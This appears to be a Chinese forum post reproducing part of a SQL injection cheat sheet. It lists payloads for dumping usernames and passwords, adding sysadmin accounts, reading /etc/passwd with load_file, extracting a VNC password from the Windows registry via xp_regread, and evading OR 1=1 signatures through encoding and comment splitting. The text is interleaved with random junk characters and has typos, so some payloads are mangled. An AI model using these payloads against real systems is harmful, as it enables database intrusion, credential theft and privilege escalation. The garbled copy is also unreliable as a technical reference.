% Q; p N: k4 `$ T! C. v , z& H- C3 X$ D& {4 M. w5 ~ 7 `! x) j6 w4 R5.获取密码 : t2 Y( H- e4 Q8 h2 f1 U' X! i" H3 y, m# p; _. m9 q7 o5 n6 Z& I7 d
';begin declare @var varchar(8000) set @var=':' select+ Z0 B- t- Y O0 r* [3 J- K
# R+ F- b; q. Z, Y/ u9 w% A. \ A@var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end --& j; y# X1 L0 |; V7 f" A) }
4 @( z- w3 F2 a8 F V' and 1 in (select var from temp)-- & i5 q! J) w" B- p# K; `# H3 O# x; x9 P$ U; C% U
' ; drop table temp -- ! f( ^8 [6 O5 M! X7 j & X7 E( U) g+ r0 \% e {6.创建数据库帐号 % |" c' j5 E, D- Q, M! c V# j9 G9 h- t- v2 r" q9 S( b n, G
10. MS SQL / J1 {' n/ ^- x. C. o$ ^" @exec sp_addlogin 'name' , 'password' ' L. K3 l0 e5 ?8 iexec sp_addsrvrolemember 'name' , 'sysadmin' 加为数据库管理员0 c1 W' C' C4 n) w
6 q5 n/ v, X. s0 @, x/ c7 H2 r' O
MySQL ; _5 m! C! x/ j% A7 V HINSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123')); i) }7 s% H. ]- C! \# z
" _$ C9 Y, B% A( ]) ]
Access6 M1 o& b3 Y) t! D
CRATE USER name IDENTIFIED BY 'pass123' ' h$ i. f+ Y; f % P. U& }6 f) bPostgres (requires Unix account) 0 P0 A; g6 z+ jCRATE USER name WITH PASSWORD 'pass123'! W. q6 M' u; X4 E
; S; U# Q8 T0 [1 o# B3 a
Oracle$ `5 L" ]; j# c2 \& r5 ~+ s
CRATE USER name IDENTIFIED BY pass123 0 K8 X' _) f: a* o- p$ O- c/ p TEMPORARY TABLESPACE temp+ ]: ^+ R- G. `3 V: Q9 t. _
DEFAULT TABLESPACE users;) F# B& h: U4 R6 g$ Q. z
GRANT CONNECT TO name; " U$ d8 \3 S7 \" {3 R( d- ]4 TGRANT RESOURCE TO name; % U6 e3 h4 c% b3 {# P) |; Q1 P- U0 \( J( J8 q3 }! H9 y
' m% C) r$ v% z' s8 U
8 @1 o% L( Y2 X% T3 p$ Q
7. MYSQL操作系统交互作用 4 h/ K) {) s1 j9 ?9 ~ R $ N* ?" W7 c8 d. A- ' union select 1,load_file('/etc/passwd'),1,1,1; 这里用到load_file()函数/ a0 @7 C* l5 i2 U- `
: H1 x* H- M% l" N( }" ?* e
2 w! L1 d7 G. x ) a( E9 S# r8 n# R" c) A. r8.服务器名字与配置9 n( u! i* E; Z8 {7 |9 A
5 }( l; W7 H$ O- o4 f' V- r6 e: Q- C1 W: q# F- A- \) s
8 P: L) |2 G) e* a& }( t: x- ' and 1 in (select @@servername)-- " T. y3 b5 c$ `' S- r- ' and 1 in (select servername from master.sysservers)--+ @% V1 r) p2 }4 s
2 q% v1 j& v1 H0 V& w3 y3 @; X7 Z9 ^5 c6 C3 G% B. q
8 |) w# i+ C: X9 ?1 w- _& U7 K
9.从注册表中获取VNC密码( S/ x$ }0 W; p/ K' Y* m+ \. Z
) v7 H2 [& L$ G6 `
- '; declare @out binary(8) 5 u2 l) Q' d8 B ^+ _2 N- exec master..xp_regread# r" w: \0 E; G5 X
- @rootkey = 'HKEY_LOCAL_MACHINE',' t6 a. p8 J* f$ |
- @key = 'SOFTWARE\ORL\WinVNC3\Default', /*VNC4路径略有不同, o. D+ Q& t/ R1 o+ Y6 J7 I
- @value_name='password', : P/ U9 H" ~& U+ p# V! }; G" t1 P- @value = @out output ; E2 ?1 a3 @& S" O( w0 R$ ~3 d- select cast (@out as bigint) as x into TEMP-- : a# x5 ~ i/ g% Z7 k! ~5 U! T$ w- ' and 1 in (select cast(x as varchar) from temp)-- 5 `6 b0 V! `9 d. p7 ^: V/ u. m + I8 l. N2 P: G" y! X+ E t j : N) c& J" E$ U8 C3 ^4 t3 |; X; [5 B4 _1 p- {2 {- ^" M( ~" A
10.逃避标识部分信号. _2 d" s3 D# j3 I& e
" L$ v3 x8 y7 ?/ Q) J0 T8 n
Evading ' OR 1=1 Signature7 P, ]! v$ w; f9 w6 {+ v) G
- ' OR 'unusual' = 'unusual'" M3 _) S* l' T4 O/ B
- ' OR 'something' = 'some'+'thing'8 o* q/ _9 {* j2 ~; t5 \
- ' OR 'text' = N'text' 6 c; Q1 b5 X( n W! H) [; R9 S- ' OR 'something' like 'some%' # c. U: K: v# p* U- e- ' OR 2 > 1 : O4 e4 @. W- S- ' OR 'text' > 't': A t s7 ]# i' _
- ' OR 'whatever' in ('whatever') & y& h i$ E' }4 K7 c- ' OR 2 BETWEEN 1 and 3 * P5 z- Q% H' C* j , Y' G" ~0 D0 T& N$ e: u+ u & m! m5 m, f$ M6 i6 l: e: s/ p% w+ n4 P1 z4 E
/ l z% p, |4 D/ e" ?11.用Char()进行MYSQL输入确认欺骗 % v4 a. @/ u/ p* y- [1 }5 m& Z, H* I0 A5 M' w& R+ R7 C% Y
不用引号注射(string = "%")' b% {6 L/ } C( g0 ~2 R
3 r f' w; c6 @' C& g--> ' or username like char(37); 6 ]$ V$ M6 d7 y$ [: U 4 I6 @: X/ x+ E% i用引号注射(string="root"):$ J7 C4 D/ M1 p( J
2 j# I; W2 f5 I: q# |+ aè ' union select * from users where login = char(114,111,111,116); ' l( U5 D- m3 R* hload files in unions (string = "/etc/passwd"):. l) F- P# U/ w/ W
-->'unionselect 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1; 3 B, Q2 E7 U# O7 b3 eCheck for existing files (string = "n.ext"): + M6 |# [. y2 u4 ]& \-->' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));0 f+ }3 [7 }$ W; A! l U
: i6 K% a. D0 q+ q0 \6 Y+ L
' o9 c* m9 p0 W# H5 T/ v8 y& D5 w# M' m4 E e# l
2 [2 g) x* N0 m' N" X $ {; S ]8 e& S. o$ @) R12. 用注释逃避标识部分信号 0 j& v, _/ N: B; J" y' P9 Q `8 t; d! J; w% @' r-->'/**/OR/**/1/**/=/**/12 Y# U" L4 w4 T! p& \* K( c% @0 R+ Q G
-->Username:' or 1/* 4 `7 s3 x. H* T( f9 l-->Password:*/=1--; p7 P( P' K8 D3 y/ c. j; h
-->UNI/**/ON SEL/**/ECT + F" \/ V4 z& X-->(Oracle) '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER' . ^" T2 J6 W ^-->(MS SQL) '; EXEC ('SEL' + 'ECT US' + 'ER') ; `2 \) W5 r) _3 C! a. D+ I7 t
. c) z5 z, O6 N3 ?
0 E! R* i4 H9 A
2 f. v I+ V# B4 R( O7 z* g, h13.没有引号的字符串9 X) z: b$ o( K3 P1 i' X" `) s) w% x
( P' x# s( e& S4 x' A6 o) q+ Z1 `( f) z
--> INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64) 2 ? k' ?9 p) i7 C+ H
4 R. L& G0 k8 z$ ]/ d
收藏 分享 评分